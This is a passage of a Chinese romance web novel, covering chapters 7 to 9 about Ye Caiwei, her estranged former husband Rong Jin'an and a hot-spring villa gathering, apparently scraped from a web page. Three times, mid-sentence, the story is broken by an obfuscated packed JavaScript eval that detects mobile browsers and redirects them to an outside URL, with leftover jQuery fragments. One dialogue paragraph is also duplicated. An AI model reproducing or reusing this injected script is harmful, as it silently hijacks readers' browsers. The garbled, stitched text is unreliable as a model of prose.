她也不知道自己哪来这么大的力气,刚才还僵硬迟钝,可是手掌的火辣和那声清晰的脆响,昭彰着她忍无可忍之下的冲动。 这一掌极重,她拇指的指甲尖,甚至直接将容津岸的唇角刮破。 那里有血流了下来。 容津岸用他拇指的指腹抹去血迹,他的皮肤本就白,被她狠狠一扇,五指鲜明的形状,盖印一般红肿,一眼便能看出那是掌掴的指痕。 男人冷笑。 “我不会向你道歉的,”叶采薇的手掌和心,都像被扔进了劈啪作响的火炉中炙烤,“殴打朝廷命官的罪名,总不会比行贿要重。” 转身开门的时候,手掌还在疼着,她已经走到了自己的房门口,容津岸却说: “你确实不需要向我道歉,可是温谣呢?你不需要向她道歉吗?” 叶采薇的脚步滞住。 “你一走就是五年,五年来没有半点音讯,温谣做错了什么,要得到你如此的对待?” “那是我和她的事。”叶采薇没有回头,声音却不受控地颤抖,“我与谣谣二十年的姐妹之情,哪里需要你一个外人说三道四?” “是,她是把你当做二十年的姐妹,但你却未必。毕竟,她因为担心你而失去了腹中的骨肉,你却躲在池州,逍遥快活,对她不闻不问。” 容津岸在说什么? 凉水被洒进了滚烫的油锅,炸得遍地狼藉,叶采薇转身:“你胡说!你、你信口雌黄!谣谣她怎么会?!” “即便这样,她也没有怪过你。孟崛一直在大理寺,去年升任了大理寺左少卿,他与我分属不同部门,却直到我这次南下前,还在嘱托我打听你的近况。薇薇。” 容津岸口中的“孟崛”,是温谣的夫君,当年多亏了他,冒着杀头的危险,带叶采薇夫妇到天牢里,见了叶渚亭最后一面。 叶采薇眼泪汹涌而下。 “我知道你恨我,事情做绝,也是为了躲我。”容津岸立在原地,“孟府搬了新宅,和容府同一条街。温谣她很想你。还有温谣的两个兄长,他们也很想你。” 她与他们兄妹三人自幼一同长大,但是温谣的两个兄长,早就已经各自成亲了。 容津岸说这些做什么? *** 问鹂回来的时候,叶采薇正坐在案前,认真写着给温谣的长信。 她脸上被几次弄脏弄乱的妆容早已洗净,人罩在鱼牙绸轻软的睡袍里,瘦削的背脊却因为反复斟酌而直挺。 问鹂以为她是忽然有了创作灵感,正在往自己那本即将完成的文学著作里添加,便不去打扰。 叶采薇却放下笔,转过身,把今晚发生的事情,一五一十说了。 “我还是不敢相信,谣谣为了我失去了腹中的骨肉……”说到此处,她已然红肿的杏眼,又变得湿润起来。 “容津岸一定是在故意让我伤心的对不对?因为我打了他一巴掌。”她撑起眼睫,微微摇头,语速加快,“对,就是故意报复我。昨天我说他‘表里不一’被他偷听到,今天他就报复我,在学生们面前提皇子夺嫡的事,故意让我伤心。” 问鹂抿了抿嘴唇。 其实她相信容津岸说的话,因为以温谣的脾性,完全做得出那些事。 温谣母亲的娘家和叶家有着深厚的渊源,温谣也因此与叶采薇从小相识。两人是手挽手一起长大的闺中蜜友,不同于叶采薇的热烈大胆,温谣内向怯懦,却屡屡在她需要的时候挺身而出,当年还替她和容津岸的荒唐事打过不少掩护。 太子逆案爆发后,叶采薇天塌地陷,温谣几乎日日都到容府来陪她。后来,叶采薇决定与容津岸和离,温谣劝说无效后,又明里暗里出了最多的力帮她离开。 临别时,两人哭作一团,叶采薇还答应了她,一到落脚之处,便与她书信联系。 从头到尾,温谣都把叶采薇放在首位,从不提自己的事,谁能想到,那时候她已经怀有身孕? “是我为了躲避容津岸,狠心背弃了与谣谣的承诺,只字片语也不给她,害她因为担心我失去了孩子……” 问鹂的表情不言而喻,叶采薇再不自欺欺人,泪珠大颗大颗地滚落。 她为人爽直,自问对得起所有的人,独独对不起把她视作亲姐妹的温谣。 问鹂冲上来把叶采薇抱住。 “我也是做母亲的人,怎么会不懂失去孩子的痛苦……”叶采薇的眼泪把问鹂胸口一片一片打湿。 问鹂笨拙地安慰,却不会代替温谣原谅叶采薇,她没有这个资格。 她很想让姐妹两人好好相见。 这次与容津岸意外重逢,会是一个新的契机吗? 晚上,叶采薇做了好长好长的梦。 梦里的她回到了小的时候,软软糯糯,一团孩子气,不知谁惹到了她,她死活不愿意穿上新衣裳,跟叶渚亭去温府做客。 “薇薇听话,穿上新裙子,阿爹给薇薇奖励。”叶渚亭对她说话的语气,总像是冬日融融的炉火。 “奖励今日少背三首《全唐诗》?”叶采薇不满,“阿爹这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282123|151876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是奖励,是对女儿的惩罚!” 叶渚亭宠溺地笑,捏了捏她肉蛋一样的脸,“阿爹奖励薇薇骑在阿爹肩上,要不要?” 小女孩一听,果然两眼放光,自己跳下软榻,欢欢喜喜挑新衣裳去了。 叶渚亭生得高大挺拔,坐在他的肩上,叶采薇很有“一览众山小”的成就感。 也是坐在叶渚亭的肩上,叶采薇第一次见到温谣。 这个和她同一年出生的姑娘,小小的个子,温柔的眉眼,不爱说话,笑容腼腆。 下一个梦,叶采薇却突然和容津岸在一起。 那是他们的事刚刚被叶渚亭知晓、两人都惨遭叶渚亭的毒手之后,整夜长跪伤了他们的膝盖,叶采薇搂住容津岸的脖子撒娇: “怎么办呀,咱们还说好了一起去爬池州的那座山,现在膝盖伤成这样……到时候,哥哥背我好不好?” 那座山,他们终归是各自去爬了。 只是撞在了同一天。 叶采薇再次醒来的时候,已经是第二日的午后,未时过半。 这一晚她发了高热,额头滚烫滚烫,郎中大夫来施了针,高热这才退下去。 大约是因为昨晚在客栈门口淋的那一点雨,还有如上山下海般跌宕起伏的心情,除了产子时从鬼门关前过,她很久没有病成这样了。 因着这来势汹汹的病,叶采薇自然错过了今日庆林书院的讲会。 昨晚容津岸并没有住在隔壁屋子,甚至没有住在这间客栈。住在底楼的几个学生,一早来听说叶采薇病倒了,纷纷真心实意地关切,然而讲会又实在是难得有,最后又都悻悻去了庆林书院。 “给谣谣的信寄出去了吗?”叶采薇小口抿着问鹂端来的温水。 问鹂摇头:“姑娘一大早便烧起来了,奴婢没来得及去,等下去宜韵酒楼为姑娘打包点饭菜回来,顺便去趟驿馆寄信。” 叶采薇点头:“昨晚的饭菜,害你也没吃上两口,都怪容津岸,非要提皇子夺嫡的事败兴。” 给温谣的长信最后,叶采薇附上了她在青莲书院的地址。 虽然温谣不一定会原谅她,但她还是希望能收到来自京城的回信。 她没在信里说她生了容津岸儿子的事,事实上,知道这件事的人极少,甚至她的学生们,连她曾经成过亲都不知道。 就算有一天容津岸真的跑到青莲书院去,也根本不会发现这个孩子的存在。 问鹂出门寄信买饭,一去就是一个多时辰。 叶采薇盘算着等学生们从讲会回来,今晚大家好好吃顿饭,明日一早,出发回东流县、回青莲书院。 已经出来了三日,她很想念儿子。 她的儿子聪明懂事长得还漂亮,她想早点抱到他。 然而问鹂带回来的消息,却又一次让叶采薇皱了眉头: 原来今日,那康和县主也去了讲会,恰巧碰见佟归鹤,便说自己在城郊有一处汤泉别业,邀请他们几个一并去玩。 佟归鹤等人到底还留着贪玩的孩子心性,一听说有私家汤泉,恨不得心都飞过去。 “我今日才发了高热,汤泉这种活动,就不必去了。”叶采薇说。 “奴婢本来也是这个意思,谁知道康和县主一听说姑娘你病了,非说汤泉里的硫磺最能治病,还说她会把池州府城里最好那个大夫请来,让姑娘放心,佟归鹤他们一听,就都非要奴婢来劝姑娘。”问鹂也是满脸无奈。 “前天在山庄,康和县主对我那么不客气,今天怎么态度直接转了个大弯?” “听佟归鹤说,好像她跟容大人还在吵架,讲会的时候,容大人都不带搭理她。” 叶采薇忽然想起了什么:“说起来,容津岸脸上的巴掌印消了吗?” 问鹂摇了好几下脑袋: “这事佟归鹤也找奴婢打听了,奴婢当然装作不知情。据说康和县主在讲会上一见到容大人脸上那巴掌印,一声尖叫,快把房顶都掀翻了,到处嚷嚷说被她抓到谁打了她的津岸哥哥,一定扭送到池州知府那里,先打上五十大板,再关到牢里,过年都不许放出来。” 叶采薇笑了:“你说,如果我告诉她,她的津岸哥哥是被我打成那样的,她会不会气得想直接掐死我?” “那姑娘还去汤泉别业吗?康和县主的车马还在楼下候着呢。” 叶采薇站起来:“京城的皇家汤泉我没泡够,在这池州有人请客,我为什么不去?” 有康和县主在场,容津岸可不会再那么放肆了。 7. 真心话 07 康和县主那座汤泉别业着实有些远,马车摇摇晃晃,一直到日薄西山,才终于停了下来。 叶采薇下车,见别业门口的几名仆妇都迎去了她前面的那辆马车。 穿着石榴红烟纱散花裙的康和县主满头珠翠,在婢女的搀扶下落了地,一抬眼,惊叫起来,差点穿破所有人的耳膜: “津岸哥哥!” 然后,就见夺目的石榴红一溜烟小跑,奔到刚刚停在叶采薇身后那辆马车的下面。 叶采薇差一点就被撞倒了。 “津岸哥哥你终于来了!我还以为、以为你不要我了呢!”康和县主声音越说越柔,娇得从骨子里酥了出来。 没听见容津岸说了什么,叶采薇不关心他。 只是奇怪,容津岸原本没打算来这座汤泉别业吗? 进了别业,兵分两路。 叶采薇等人被安排先进了一些茶点,说是空腹泡汤泉容易引发昏厥,真正的晚膳,安排在了汤泉之后。 等到茶点上齐、外人都退下,按捺不住的学生们这才彻底松快,找叶采薇说起话来。 先是关心她的身体,在得知她已然无碍之后,便你一言我一语,热情洋溢地讲起了今天庆林书院那场声势浩大的讲会。 从盛大的讲会布置、主讲人、大致主讲的内容,到台下听众的回应和提问,以及火花四溅的辩论,事无巨细,恨不得连每一个端茶小哥姓什么叫什么都挖出来细说一遍。 叶采薇听得津津有味,正在遗憾自己不幸错过了,谁知有人话锋一转,忽然说: “先生,还真是没想到,康和县主竟然和你长得有点像,就是……就是确实,不如先生的风韵远甚。” 后面半句,声音越压越低。 叶采薇怔愣,一旁的佟归鹤作为先前唯一一个见过康和县主样貌的人,此时优哉游哉: “拿人手短吃人嘴软。我说,咱们现在坐在人家的别业里,吃着人家的饭,这样背后议论人家不好吧?” 被点的人一恼,拐了个语调: “既然佟公子你什么都知道,那不如谈谈你的高见,容大人脸上的巴掌印,是怎么回事?” 这话猝不及防地来,叶采薇心头一跳,马上装作第一次知道这件事,夸张地瞪大了杏眼,惊讶: “什么……巴掌印?他、他被打了吗?” 八卦好事者没耐心细说来龙去脉,先发制人,抛出他的惊世结论: “今天讲会上,我坐得位置离容大人近,仔细观察了一下那个巴掌印的大小和形状……依我愚见,九成九是个女子打的,只不过这个女子,肯定不是康和县主。” 叶采薇耳根发烧,艰难咽下口中的津液。 其他人注意力没在老师的身上,只被这个惊世骇俗的结论激起了兴致,纷纷围拢。 谁知别业里的仆妇却来了,说是汤泉已经准备好,请各位客人更衣入池。 讨论被迫中止。 *** 汤分男女,叶采薇裹着洁白的帨巾独自从更衣间出来,见到康和县主已经施施然入了池。 县主头上的一堆珠翠被卸除,偏黄的发丝也高高挽起成髻,身边两个婆子堆笑地夸着她肤如凝脂清水出芙蓉,而她的贴身婢女,正在朝她露出的颈项和肩背上均匀地撒着玫瑰花瓣。 “鲜花瓣入浴能在身上持久留香,姚先生,你要一起试试吗?”叶采薇下水的时候,县主懒懒问。 温热的汤泉缓缓地浸过了叶采薇光洁修长的玉颈,满眼烟雾缭绕,她摇头多谢。 她其实不太喜欢过度的香气,从前叶渚亭也给她带过皇帝赏赐的玫瑰香露,说是波斯国进贡的,一滴就值十两银子,她不愿意放着积灰,转头就送给了温谣。 香露涂在谣谣的身上,就好闻多了。 对话戛然而止,叶采薇不觉得尴尬,反正除了两个婆子,康和县主的贴身婢女,也开始变着花样地夸自己的主子。 有几只麻雀落在庭院的树梢上,叽叽喳喳。 过了会儿,有婢女过来,在池边跪下,对康和县主耳语了几句,县主便径直起身。 “哗哗”两下水声,叶采薇的青丝和面颊上被溅了无数水花,还有几滴落入她的眼睛里,她不得不伸手去揉。 “津岸哥哥刚刚邀请我单独去另一个池子里泡,姚先生你自便吧。”康和县主的话急切而敷衍。 主人家一走,周遭顿时安静下来,刚刚还在叽叽喳喳的麻雀也不知飞到哪里去了,叶采薇落得清净,缓缓阖上双眸,闭目养神。 又过了一会儿,一直不见踪影的问鹂过来,半蹲下,把手放在自家姑娘的额头,探了探她的体温,笑说: “那边闹了大动静,姑娘你倒舒舒服服的。” 叶采薇不睁眼,湿着手抓住了问鹂洁白的腕子。 “也不知道这别业里的下人们怎么回事,大约传错了话,康和县主那边以为容大人邀请她单独泡汤,专门过去,谁知道那边汤池都是凉的,可怜小县主特地换了新的寝衣,在池水里白等了老半天,知道真相,这会儿正在大发雷霆呢。” 一直到叶采薇泡完汤换好衣衫出来,康和县主的怒火还烧得旺旺的。 用餐的地方在凉亭,叶采薇走过去的时候,男人们都到了,围坐在紫檀木的八仙桌边,别业的婢女正在上茶。 趁着落座的混乱,叶采薇悄悄观察了一下容津岸脸上那个巴掌印。 不得不说,昨天她确实下了死手。现在他穿了一身月白的浣花锦长袍,衬得他皮肤更加透白,五指清晰的暗红色巴掌印像是破坏白璧的瑕,甚至仔细看,还微微凸起,并未消肿。 然而此人气定神闲闭目养神的姿态,好似根本不在意那张俊俏的脸被人看了笑话,只当一切与自己无关。 真是个道貌岸然的伪君子呢。 ——“这茶怎么不是用旧岁的梅雪泡的?”康和县主突然尖叫,伴随着一声碎响。 天青汝窑杯被狠狠摔在地上,“水没滚就冲,是上赶着给你们死了的老娘去烧纸吗?” 几个学生不知道先前汤池里的插曲,又哪里见过这个阵仗,登时眼观鼻鼻观心,大气不敢出。 别业里的小丫鬟哆哆嗦嗦过来收拾残局,康和县主一见小姑娘那可怜巴巴的委屈模样更是气不打一处来,又劈头盖脸好一顿训。 叶采薇知道小县主这是借题发挥,放下手中刚喝了一口的茶盏: “县主息怒,县主息怒。敬亭绿雪产自宁国府敬亭山,最适合用新鲜山泉水冲泡。县主你不辞辛苦,从山中带回泉水来,这泉水清冽非常,配合敬亭绿雪,已然是茶中仙品。” 她顿了顿,还想为小丫鬟说话,却听一直沉默不语的容津岸突然开口: “姚先生对敬亭绿雪,见解倒是颇为独到。” 康和县主一愣,又努努嘴: “梅雪难收,珍贵无比,普通的山泉水,又怎么能相提并论?” “池州地处南方,冬季落雪,十分难得。窖藏梅雪配县主的明前龙井,自然是民妇平日里根本无法接触的上上仙品。” 叶采薇顺口又夸了在山庄时康和县主反复炫耀的明前龙井。 县主神色稍舒。 而这片刻工夫,那被骂得狗血淋头瑟瑟发抖的小丫鬟,早已经趁机溜走。 “听闻姚先生今日偶感高热,以至于错过了庆林书院的讲会,眼下可大好了?”容津岸又说。 叶采薇不知话题怎么突然转到她的健康上来,犹豫间,佟归鹤却先接了话: “先生经过发汗和施针已然无碍,多谢容大人挂怀。” 容津岸修长的手指一顿,端起自己的茶盏:“无碍就好。” 说起这个,叶采薇倒突然想起,下午时康和县主为了劝她一并来这温泉别业,承诺会把整个池州府城里最好的那个大夫请来。 大夫人呢? 康和县主哪里知道叶采薇的疑问,她只想再热热场子,把方才自己丢了的面子找补回来,便派人下去,拿了个一尺见方的木盒回来。 笑说这是自己从池州府城的夜市上淘来的新鲜小玩意,最适合人多的时候一起玩,叫“真心话与大捉弄”。 玩法便是一桌人掷骰子,被骰子上的点数数到的人,抽取木盒中的骨牌,要么就回答骨牌上的“真心话”,要么就实践骨牌上的“大捉弄”行为,否则只能罚酒。 如此新鲜有趣的玩意学生们自然跃跃欲试, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282124|151876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 康和县主发了话,酒和酒杯都被摆上了桌,众人马不停蹄玩了起来。 第一个被骰子摇中的便是佟归鹤,他抽到的骨牌上,“真心话”那一面问的是: 你生平做过最大胆的事是什么? “嗯……虽然还没有做,但我觉得是算数的。”佟归鹤深吸一口气,像是下了很大的决心一般: “我、我对一个年长我四岁的女子情深不渝,已经下定了决心,只要这次科举考取了功名,就去向她提亲。” 容津岸的目光扫过叶采薇。 叶采薇的学生里,并非都是粗枝大叶的青年,其中有人早就看出了佟归鹤对老师呼之欲出的情意,趁机揶揄道: “哎呀,你家不是早就在为你相看,准备年底定亲了吗?怎么,你还能等到明年?” 佟归鹤双耳涨得通红,瞋目回视: “他们是他们,我是我,我不管,我只要娶我心爱的女人。” 在座并非都是粗枝大叶的学生,有人早就看出佟归鹤对老师的情意,趁机揶揄道: “你家不是早就在为你相看、准备定亲了吗?还能等到明年?” 佟归鹤双耳涨得通红,瞋目回视:“我不管,我只要娶我心爱的女人。” 康和县主满脸鄙夷,对人老珠黄的苟且很不耐烦,催促佟归鹤赶紧掷骰子。谁知福至心灵,数来数去,数到了她自己。 她不紧不慢地从骨牌堆中抽出一张,然后一字一句念出来: “在座之人中,是否有你心悦的??心悦他哪一点?” 康和县主紧紧握着骨牌,羞涩地看向坐在她右侧的容津岸,对着那鲜红瞩目的五指印,慢吞吞说: “有,有我心悦之人。我心悦他的容貌、他的才华、他的举手投足、他的……” “县主娘娘,骨牌上只让您说一点就够啦。”有人很不识相地提醒。 县主想了想,继续慢吞吞说: “哪一点都好,哪一点我都喜欢。” 说完,红着脸,低下了头。 场上再无人说话,谁也不敢开口催促,过了好久,容津岸冷冷:“继续吧。” 康和县主只好悻悻地把那张骨牌塞回去,又撅着嘴,扔了骰子。 谁知这次竟然数到了叶采薇。 骨牌数量庞大,叶采薇随便抽了一张,只见上面的问题是——“在座之人中,是否有你心悦的?” 咦?这好像是康和县主方才抽的那张,怎么上面只有这一个问题? 但摆在叶采薇面前的问题是这个“真心话”,先前佟归鹤把话说成那样,容津岸也在场,她不可能回答,只好将骨牌翻过来,看那个“大捉弄”: 一口气喝三杯酒。 三杯,还在她能承受的范围,于是她毫不犹豫照做。 烈酒下肚,她扔出了骰子。 这一回,点数数到了容津岸的头上。 清流领袖连抽牌这样微末的动作都做出了与众不同的矜贵和淡然,清晰凌厉的大手捏着小小的骨牌,说: “让我说一个秘密,可以。你们不是都很好奇,我脸上的红印是怎么来的吗?” 在场之人一听,登时来了兴致,齐齐直勾勾地看着他。 只有叶采薇心虚,垂下眼帘,故意拨弄着自己空了的酒杯。 “昨晚睡前不注意,被老虎咬了一口。”容津岸说。 叶采薇属虎。 可是其他人当然不可能联想到她的头上,只当容津岸在耍弄他们,尤其是康和县主,更是趁机扑上去,尖叫: “津岸哥哥,你怎么能这么坏呢?不行,这根本不是什么秘密!必须得另说一个!” 容津岸不动声色地躲开了康和县主,又说: “那我另说一个,其实,我最讨厌有人叫我‘津岸哥哥’。” 喧哗戛然而止,康和县主脸色苍白,失魂落魄地跌坐回去,容津岸无奈,只好将手中的骨牌翻面,向其他人展示: “既然两个秘密你们都不满意,我就只好做这个了。” 众人这才看清,上面写的是: 与左侧第二人十指交握,直到游戏结束。 他左侧坐着康和县主,再左侧,就是叶采薇。 8. 凉亭 08 一阵说不清道不明的沉默。 “这都是什么跟什么?” “十指交握——” “谁设计的这破游戏?是没有脑子是不是,怎么、怎么还能,搞出这种有碍男女大防的惩罚来?” 佟归鹤破口大骂。 叶采薇被巨大的震惊包裹,忘记制止自己的学生继续那明显失礼的言行,等她忽然抬头的时候,只见佟归鹤已然站在了她的右后方: “先生,这个位子四面透风,我与你换一换可好?” 然后佟归鹤又对容津岸说: “佟某打得粗糙,手心多汗,容大人不会介意的吧?” 意思再明显不过。 容津岸眸色未动,但将手中的骨牌插回原处: “我自愿罚酒,三杯,和姚先生方才一样。” 话已至此,其余人再不敢咄咄相逼,再一次集体沉默,准备无声无息揭过这场插曲。 只有康和县主笼罩在惨淡愁云中,微微垂着脸,反复撕咬嘴唇。 大约是容津岸那句“最讨厌有人叫我‘津岸哥哥’”给她的打击太沉重。 “津岸哥哥……”容津岸掷出骰子的同时,她再次娇腻着嗓子,水灵灵低唤。 眼眶有些红,分明是不甘心。 容津岸没有回应。 到底是个十六岁的小姑娘,被心爱的男人当众下面子,泪珠已经堆在了眼角。 叶采薇想到,从前容津岸也这样对待过自己,冷漠疏离,如高不可攀的清冷皓月。 她忽然生出了许多不忍来,掏出自己的巾帕,递到康和县主的眼前: “县主,方才风大,吹了沙子入眼,不舒服吧?” 康和县主斜斜瞥了一下叶采薇的巾帕,一句话不说,只掏出了自己的,快速拭去泪痕,目光仍旧黏住容津岸。 容津岸掷出的骰子点数数到了另一个男学生,那人接过话题,继续玩起已被打断了许久的“真心话与大捉弄”。 好几轮过去,康和县主与容津岸都再没被骰子的点数点中,好在叶采薇也没有,八仙桌上恢复热闹之后,晚膳也已准备妥当,便顺利转为开餐了。 这一整日,有庆林书院的讲会,还有一同洗泡汤泉和进行游戏,相比于昨日在池州府城的那餐晚饭,几名学生对容津岸已然亲近了不少。用餐时,举止和言语都放松了拘谨,而容津岸也会捡着自己感兴趣的话题,说上几句。 桌上的气氛尚算融洽。 但有人怏怏不服。 “津岸哥哥,我给你夹了这么多菜,你怎么一口都不吃?是都不合你口味?” 康和县主委屈巴巴地提问时,佟归鹤正跨过千山万水,把比他手指还长的螃蟹大腿,夹到叶采薇的盘中。 蟹黄泛着汪汪的油气,蜿蜒流开。 叶采薇心下打鼓,对佟归鹤尴尬一笑,又听耳边康和县主说: “津岸哥哥你想吃哪一道菜,我再给你夹?” 容津岸的目光却淡淡扫过了叶采薇的盘子,说: “这个蟹黄,看起来倒还不错,只可惜……” 叶采薇忽然想起,这个人现在在守孝,不可以食用荤腥。 康和县主真的全然不知吗? 但容津岸的话仿似天降恩旨,康和县主欢天喜地,拾起银箸,她的贴身婢女却匆匆过来,在她耳边低语。 “赔钱?一个破杯子而已,本县主摔了便摔了!”她的眉头拧在了一起。 那婢女一脸为难,又小声说了什么。 “那就把我那只翡翠镯子赏给她,大惊小怪什么?”康和县主十分不耐烦。 ——“请恕奴婢眼拙,县主的翡翠镯子,奴婢只能瞧出是个最为普通的豆种,要说稀有,还请县主指点迷津。”谁知话音刚落,有一个陌生而严厉的女声,自他们身后响起。 那是一名干练利落的仆妇,穿戴比其他婢女要明显好上一层,有钗环装饰,衣衫笔挺,发髻梳得一丝不苟。 来人并非善茬,康和县主的脸色变得疑惑又羞恼,正要发作,她那贴身婢女抢先说道: “县主的袖口沾到了汤汁,钱妈妈可否引个路,让县主去更衣?” 这是不愿意把她们之间的矛盾闹到面上,钱妈妈八面玲珑、是个厉害的角色,自然明白。 于是三人便离了席。 康和县主是邀请人来做客的东家,她一走,桌上的叶采薇师徒几人,便也不好继续用膳,只能放下筷箸,眼观鼻鼻观心,各自沉默地喝茶。 但这沉默不过片刻,又一次被打破。 “弯弯绕绕说了一大堆,你究竟什么意思?觉得本县主赔不起那点东西是不是?”康和县主恼怒的声音,隔着半片竹林,清晰地传了过来。 凉亭中的几个学生,互相对视了一眼,又各自屏住呼吸。 “那只天青汝窑杯乃是我家老爷的心爱之物,跟随老爷的年头比县主的年龄还要长,有市无价,县主自小生活在西南边陲,多受蛮风瘴雨,不曾见过、不识宝物,也是自然的。” 康和县主的婢女一听这话就来了气,直冲冲回道: “钱妈妈这是什么话?我们县主虽然是今年才上的京城,但她却是陛下万岁爷破格亲封的县主,尊贵异常。你也不过是仗着伺候钱老爷年头久才被赐姓的钱氏,尊卑有别,县主座下,岂能容你放肆?” 谁知钱妈妈立刻答: “令尊与我家老爷从前有交,奴婢与县主自然也算主仆。而容不容得下奴婢,是县主的气度;能不能让县主容下,是奴婢的本事。” “你——”康和县主气结。 “县主受陛下隆恩,自然可以随心所欲,不打招呼便将客人带到我家老爷的别业。奴婢千恩万谢,领着别业上下尽心尽力服侍,是奴婢职责所在。然而起先,汤泉中的那件事,县主非但没有感谢传话之人,反而迁怒于我家老爷的瓷杯,恕奴婢斗胆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282125|151876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是县主大错特错。” 凉亭里的叶采薇听着,知道她们在说什么。 在汤泉里的时候,康和县主以为容津岸主动邀请她单独泡,特意换了新的寝衣,谁知道过去白等一场,落了个空欢喜。 “你……你什么意思?”康和县主难以置信。 “容大人萱堂新丧,容老夫人仙逝才有月余,容大人正处在热孝中,这是许多人都知晓的事。县主与他并无婚姻之约,若汤泉一事真如县主所愿,林林总总传到外面,惹来流言蜚语,以容大人在朝中的地位和齐王殿下跟前的分量,我家老爷实在担不起这个责任。” 佟归鹤听着,忍不住在心中嘀咕: 康和县主不是容大人的未婚妻吗?怎么这钱妈妈又说他们二人毫无关系? 但容大人母亲新丧,总不可能是假的,这样,岂不是…… 而竹林那头的康和县主,显然已经彻底失了自控,骂道: “姓钱的,你算是个什么东西,竟然也敢来教训我?我阿爹可是齐王表叔跟前的哄人,你主子有几个臭钱又怎么样?见了我阿爹、也得点头哈腰,你这条汪汪叫的母.狗,也配来教训我?” “县主贵人事忙,大约还未收到消息,令尊前两日不小心疏忽,犯了个大错,齐王殿下雷霆震怒,准备再让他外放回西南,吏部调任的公文,是我家老爷草拟的。” 钱妈妈一顿,继续不卑不亢说道: “县主若是不信奴婢,可以自行向令尊求证。只不过奴婢有奴婢自己的职责,老爷的瓷杯无故损坏,必须要给老爷一个交待。” “钱妈妈,你非要这样不依不饶吗?”康和县主的语气明显软了下来。 “县主的食邑有限,如若实在囊中羞涩,奴婢倒是有个法子,县主向令尊求证时,顺便将此事说明,一切交给令尊处理?” 听到此处,凉亭之中的叶采薇,回头把问鹂招到了跟前,向她耳语一番。 问鹂点头说好,很快便沿着康和县主三人的路径,走到她们身后。 “钱妈妈。”问鹂温柔行礼,从袖笼中掏出一张银票,递到钱妈妈面前。 “那个天青汝窑杯,是我家先生不慎撞碎的,毁掉钱老爷心爱之物,我家先生愧疚不已。这里是一万两,各地的天宝钱庄里都可通兑,如若不够赔偿,待我家先生回到东流县后,会将剩余的部分,快马加鞭送过来,不知钱妈妈,能否接受这样的处理?” 康和县主憋得满脸通红,说不出话来。 钱妈妈一眼便认出了天宝钱庄的独特印记,全天下最大的钱庄,可比末流的皇亲国戚更有信用,当下神色缓和下来: “倒是绰绰有余的。” “那剩下的银两,权当我家先生,感谢县主和钱老爷今日的盛情款待。”问鹂笑着: “眼下天色已晚,我们不便在此多留,不知钱妈妈可否安排车马,送我们回到池州府城?” 容津岸忽然冷笑一声。 9. 跟踪 09 第二日一大早,叶采薇一行自池州府城出发,往东流县归去。 学生们不回书院,她与他们不同乘一车,刚刚好,可以再舒舒服服补个觉。 昨晚上可谓是兵荒马乱,等到赶回池州府城都已过了四更天,睡了不到两个时辰又继续出发,可把她折腾坏了。 等叶采薇从昏睡中悠悠转醒,问鹂看着她白皙皎洁的脸颊上被压出的深深红印,笑着叹气,问她自己憋了一晚上的话: “奴婢实在是看不懂,康和县主先前如此对待姑娘,她遇到大麻烦,姑娘却为何要帮她,以德报怨?” 叶采薇反手撑着脸颊,目光灵动,歪头看问鹂: “如果我说,是我看那个天青汝窑杯成色极好,难得个中仙品,觉得摔了实在可惜,你信不信?” 又说: “这次,是我趁着秋闱前带学生们出来放松的,却不想运气不好,状况频出,都未尽兴。昨晚那个情况,我若不出手,大家就会一起被赶出别业,男人好面子,肯定觉得难堪,不如我这个当老师的把面子挣回来。” “反正,我也不差这点钱。” “可是……容大人还在呢,即使他没带那么多银两,姑娘给游娘子的帛金,应该也够他帮康和县主赔那个瓷杯了吧?”问鹂皱眉。 叶采薇不说话。 “不过,也不能这么说,他又不是县主的未婚夫。”说到这里,问鹂又忍不住摇头感叹: “奴婢也不是马后炮,先前姑娘说容大人在丁忧,奴婢不就觉得奇怪,怎么康和县主还能口口声声、不久后与容大人成婚吗?果然吧,这县主弄了那么大的阵仗,结果,全都是她一个人编出来的,所有人都信了她的谎话。” 问鹂说得很是解气,叶采薇却冷笑: “怎么,容津岸又美美隐身了?自始至终,他有澄清的意思吗?还不是任由旁人误会!” 她不屑: “狗东西,还是老样子,就享受小姑娘主动倒贴,然后屁股一拍,溜之大吉。” 问鹂被她难得粗鄙的言语逗得“噗嗤”一笑,缓了好一会儿,才说: “昨日,在姑娘泡汤的时候,奴婢去跟容文乐说了会儿话。” 容文乐是容津岸当年考取会试第一后在路边偶遇的小少年,生得质朴憨厚却又极会讨人喜欢,容津岸看他孤苦无依,便将他留在身边做了随侍。 “温大姑娘那些事,都是真的。当年,姑娘离开京城月余,她就滑了胎,孟大人为此伤心了很久。” 问鹂还如当年一样,称呼温谣为“温大姑娘”而不是“孟夫人”。 见叶采薇神色黯然,她又连忙说: 